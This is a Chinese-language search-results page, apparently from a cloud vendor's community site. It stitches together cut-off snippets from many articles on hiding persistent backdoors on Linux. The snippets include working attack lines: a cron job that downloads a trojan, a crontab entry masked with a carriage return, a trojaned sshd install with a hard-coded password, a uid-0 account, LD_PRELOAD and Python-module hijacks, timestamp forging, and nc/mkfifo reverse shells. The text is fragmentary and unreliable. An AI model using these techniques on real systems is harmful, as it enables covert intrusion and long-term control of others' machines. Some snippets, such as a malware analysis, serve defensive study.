环境变量的方式进行配置 果然，$VIMRUNTIME 是从 Linux 操作系统的环境变量来的 因此永久修改 VIMRUNTIME 不一定会修改 runtimepath ,只有通过Linux...对于需要程序启动时加载的插件就启动时加载，刚启动时用不到后期用到的插件就什么时候用，什么时候加载 这些启动 vim 过程中用不到的插件就放在 autoload 目录下，以自动函数的形式存放 自动函数也是一种函数...，相信在以后还会对现在写的后门手法进行补充 0x04 vim 自身文件后门 这类后门比较简单粗暴，直接替换相关文件，暂时未发现 vim 存在自身使用的 .so 共享库文件，因此本章节以直接替换命令本身为例...制作后门文件 1) 下载源代码 在相同版本的 Linux 主机 B 上下载相同版本 vim 源代码 在主机B上编辑更新源，取消 deb-src 的注释 在主机 B 上下载 vim 源代码（可以指定版本...成功创建了有效的带有后门，且功能正常的 vim 3) 用后门vim替换 /usr/bin/vim 4) 模拟正常使用vim触发后门 成功触发后门 5) 小结 几乎每一种后门都可以用这样的方法
$(nohup vim -E -c "py3file demo.py"> /dev/null 2>&1 &) && sleep 2 && rm -f demo....
sudo 经常被用来将普通用户权限提升至 root 权限，代替 root 执行部分程序来管理 Linux 系统，这样避免 root 密码被泄漏 这篇文章介绍了三种利用其留后门的方法，其中也涉及一个sudo...有趣的特性，在极端条件下可能是系统的薄弱点;同时涉及一个没什么人关注的小知识点 sudo 配置后门 sudoedit 文件所有者后门 sudo plugin 后门 这篇文章以 Ubuntu Server...22.10 为例 0x01 sudo 配置后门 1) 简介 通常的应用场景中，配置 sudo 主要是用来赋予某个用户或者用户组能够以 root(或其他用户) 的身份(以及权限)执行部分(或全部) 程序...这个后门更偏向于一个概念性的后门，以趣味性为主吧 前段时间复现 CVE-2023-22809 的时候关注到 sudoedit (sudo -e) 这个程序，这个程序用来让可以sudo的用户通过 sudoedit...sudoers_io sudoers.so #Plugin sudoers_audit sudoers.so 内容比较多，我们只选取我们要使用的部分,默认情况下没有配置插件，但是根据注释可以看出，至少有三种插件
/etc/profile 、 /etc/bashrc 、~/.bashrc、~/.bash_profile 、~/.profile 、~/.bash_logout /etc/profile 【系统级】Linux...%h%m%s'`.log -e read,write,connect -s2048 ssh' 上面是我搜索了10多篇文章，发现的同一条后门命令，既然有前辈写了，咱们就分析分析 上面后门中，其实 alias...把strace的输出单独写到指定的文件 /tmp/sshpwd-xxx.log ，这个没啥好说的 -e read,write,connect Linux内核目前有300多个系统调用，详细的列表可以通过...，记录明文密码，这局限性太大了，顶多可以作为一个后门辅助。...后门 ?
Ubuntu server 16.04 默认 /etc/ssh/ssh_config
Linux 计划任务是一项服务，由 cron 工具来完成，主要目的就是在无需人工干预的情况下运行作业 PS: 功能较为简单的at命令在Ubuntu 16.04中已经不自带了 0x01 cron服务简介...一会儿再说吧（Linux上万物皆文件，肯定是文件啦！）...比如语法上就有不同，这个文件比 crontab -e 多了一个user字段，所以可以确定 crontab -e 修改的不是 /etc/crontab 文件 SHELL=/bin/sh 设置SHELL使用哪一种，...3 * * * rm -r /home/xxxx/test/* 每隔10分钟下载一下我们的木马 */10 * * * * wget http://www.test.com/muma.exe 0x05 后门利用...0x06 巧用计划任务留后门 (crontab -l;printf "*/1 * * * * /home/helper/1.sh;\rno crontab for `whoami`%100c\n")|crontab
加固后门 正常大家检查是否存在 LD_PRELOAD 后门的时候都是直接 echo $LD_PRELOAD ?...$LD_PRELOAD env set export cat /proc/$PID/environ 我能想到的大概就上面五种，其中 cat /proc/$PID/environ 我们不进行劫持，...咱们把劫持 unalias 和劫持 alias 放在最后，先把这些命令都劫持一下： env 没有后门时候是这样的 ? 设置了后门之后是这样的 ?...成功劫持 export 没有设置后门时候是这样的 ? 设置后门后是这样的 ?...劫持成功 现在我们来进行验证后门还好用吗 ? 可以看到后门可以使用，那么现在我们来看一下以上各种方法还能否看见我们做的手脚 ? 完美！
0x00 前情提要 在 alias 后门 ｜ Linux 后门系列一文中，我们为了让后门完美一些，修改了后门文件的 atime、mtime，但是 ctime 一直没有办法修改，今天我们来把这一块补齐，...让后门更加完美 atime -> access time， 访问时间 mtime -> modify time，修改时间 ctime -> change time, 状态变化时间 最新版 Linux 中多了一个属性...时间系统分为系统时钟和硬件时钟，系统时钟存在于Linux 内核中，而硬件时钟存在于硬件主板上 从两种时钟的命名上可以看出，硬件时钟肯定是要比系统时钟更加持久，毕竟系统时钟系统关机就没了嘛 硬件时钟靠着.../linux_server/0440ntp.php 查看系统时钟 date 查看硬件时钟 sudo hwclock --show 0x04 方案选择 改变系统时间的方式最适合APT场景，所以本次介绍这一种方案...即使是断网的情况下) 快到难以让人分辨到底修改成功没有，也正是这个特性，给我们省了非常多的事，稍后会说，Centos Stream 默认就没有这个特性... 2. ctime 时间修改 ctime 时间修改可以用三种方法
，是Linux中发送问候消息的功能，一般在我们登录服务器后显示 每次任意用户登录时都会触发motd服务的功能,这个功能的脚本几乎都是使用root 权限来启动的，所以很适合用来做后门 实用部分 随着关注我们的朋友越来越多...root权限 留后门 这个目录下的所有文件在任意用户登录后都会执行一遍，所以我们可以选择新建一个脚本或者修改其中的脚本来完成留后门的目的 以 00-header 文件为例 #!...uname -o)" "$(uname -r)" "$(uname -m)" 这是一条 shell 命令，所以我们可以知道，在这些脚本文件中的 shell 代码是会在任意用户登录后执行的，所以就出现了两种留后门的方案.../etc/default/motd-news 注释的意思是“使本地配置生效” 这里的[ -r xxx ]是一种 if 判断，-r filename 如果 filename 可读，则为真。..."$CACHE" ] || CACHE="/var/cache/motd-news" [ "$1" = "--force" ] && FORCED=1 这里的 [ -n "$string" ] 是一种
ssh/ssh_config /etc/ssh/ssh_config.old 2、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old 3、下载并安装ssh后门...： 将sshdb.tgz后门程序放置到你自己的服务器的某目录下，并且改成为test.tgz，这里为www.test.com的根目录下 # wget http://www.test.com/test.tgz...# tar zxvf test.tgz # cd openssh 4、设置ssh后门的登录密码： vi includes.h define _SECRET_PASSWD "test1234" ->...#test1234位后门连接密码 5、编译安装： # ....ssh_config touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config 重启服务 # /etc/init.d/sshd restart 6、登入后门
d在我们攻防当中，常常会碰到linux机器，拿到之后为了避免发现 低权限升高权限 创建一个c文件 #include int main() { setuid(0);
perl 和 Python 在做反弹shell基本差不多，Python 那一节有点讲的太多了，大家可以对比一下参数，照着Python的思路移到 perl 上，我...
UnixBash 远控后门 简介 利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能，保持反弹上线到公网机器。...nc -vv -lp 53 Linux/Unix 藏文件和文件夹 Linux/Unix 下想藏 Webshell 或者后门什么的，可以利用一下隐藏文件夹和文件。 方法一 比如创建一个名字开头带 ....利用方法 useradd -o -u 0 backdoor Linux/Unix 修改文件时间戳 简介 Unix 下藏后门必须要修改时间，否则很容易被发现，直接利用touch就可以了。...PAM后门 简介 PAM （Pluggable AuthenticationModules ）是由Sun提出的一种认证机制。...PAM最初是集成在Solaris中，目前已移植到其它系统中，如Linux、SunOS、HP-UX9.0等。 搭建PAM后门主要思路：pam_unix_auth.c打补丁安装到正常的PAM模块中。
注入式攻击”也就是可以向 bash注入一段命令，从bash1.14到4.3都存在这样的漏洞; 漏洞编号：CVE-2014-6271 详细情况：Bash(GNU Bourne-Again Shell)是大多数Linux...Bash其广泛的使用将意味全球至少 150 万的主机将受到影响，此外 Linux/Unix 世界内的安卓和苹果都难以幸免。...备注：NAS是一种网络存储设备，现在的很多路由器也支持此功能，如果此设备有漏洞，那么里面的资源都会有被盗的风险。
近期，火绒威胁情报系统监测到一种针对Linux系统的后门型病毒，经排查分析后，确定其与HelloBot家族有关。...HelloBot是一个针对Linux系统的恶意软件家族，执行远程控制受害者计算机等恶意活动，因其配置测试中输出“hello world”而得名。...该病毒执行流程，如下图所示： 病毒执行流程图 一、样本分析 该类病毒是一个由配置主导的成熟复杂的后门程序，不同的配置有不同的执行结果，这里仅以当前样本配置的执行过程进行阐述： 配置查看 在观察中发现样本有四个启动参数...释放器结束任务，剩下操作移交到 firefox 代表的 worker 中： 开启 "worker" 工作者执行： 由于该样本属于后门程序的设定，所以后续操作围绕着“上线”展开。...监听消息 监听的特定消息应由“上线”后以发出，包括 restart、update、uninstall 3 种管理方式。
在渗透过程中拿到目标权限只是开始，通常会留下后门以便再次访问（简称APT）。因此需要进行权限维持，隐藏后门。本文将对Linux下常见的权限维持后门技术进行解析，知己知彼百战不殆。...（不通操作系统文件不同） 4.写入SSH公钥 原理：Linux主机打开了SSH时默认也开启了密钥登陆，故写入ssh公钥，即可留下一条控制系统的路 ssh-keygen -t rsa #生成ssh密钥对...则会修改目录下root文件，也相当于crontab -e 还有许多其它执行计划任务的文件及相关文件 11.预加载动态链接库 原理：系统执行一些命令的时候，在真正执行其文件之前，会加载相应的动态链接库，但linux...export LD_PRELOAD=/usr/lib/cub3.so.1 #http://github.com/mempodippy/cub3 取消命令：unset LD_PRELOAD 第二种：...Vegile 后门 git clone https://github.com/Screetsec/Vegile.git cd Vegile chmod +x Vegile .
On Debian GNU/{Hurd,Linux} the default for both is /usr....所以思路来了： 要保证我们后门的名字和模块的名字一样 我们的后门路径要优先被索引 最好名称能正常一点或者以 ....没想到 /usr/lib/python3.5/ 目录下还有一个跟这个文件名类似的文件，简直不要太好，我们看看文件内容，好决定怎么留后门，截取一小部分 ? ?...在 /usr/lib/python3.5/plat-x86_64-linux-gnu/ 创建 STYLE.py ?...可以看到成功反弹shell，做到无命令执行，反弹shell ---- 其实我是做了一个相对极端的尝试，在两端有两种路可走 直接在自启动文件写入payload（比如 /usr/lib/python3.5/
---- 关于nc之前文章就已经讲过了，不过我发现不同 linux 的nc不太一样 ?...原理其实就是管道技术 参考文章： https://www.cnblogs.com/old-path-white-cloud/p/11685558.html 本来我对自己的Linux知识还是挺有信心的，不过最近研究了这些...Linux 后门之后发现我竟然对这些命令有些犹豫（其实就是学艺不精啦） 我对这个 rm -f /tmp/f 就十分不理解，实验之后我发现，没错，就是删除 /tmp/f 这个文件，没啥特殊的，就是怕mkfifo...mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.38 5555 > /tmp/f ---- 本来我想如果加上 -k 选项是不是可以做一个持久后门...k 只能保证端口开放，没有办法保持命令执行 如果你遇到的nc 有 -e 或者 -c 选项，可以尝试 nc -e /bin/bash 192.168.1.1 5555 ---- 除了上面的方法，还有一种方法
系统账户后门是一种最为简单有效的权限维持方式。攻击者在获取目标系统权限的前提下，通过创建一个系统账户作为持久化的据点，这样可以随时通过工具连接到目标系统，达到对目标主机进行长久控制的目的。...根据获取的shell模式不同，创建系统账户的方式也不同，通常shell模式可以分为交互模式和非交互模式两种情况： (1)当shell为交互模式时创建系统账户 当获取到目标系统的shell权限具有交互模式时...`openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test 查询当前Linux...系统隐藏的系统账户后门，可以通过查询/etc/passwd文件中的新增的潜藏用户，也可以通过awk指令查询uid=0和uid>=500的用户名，如图3-1-2 awk指令查询用户名。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
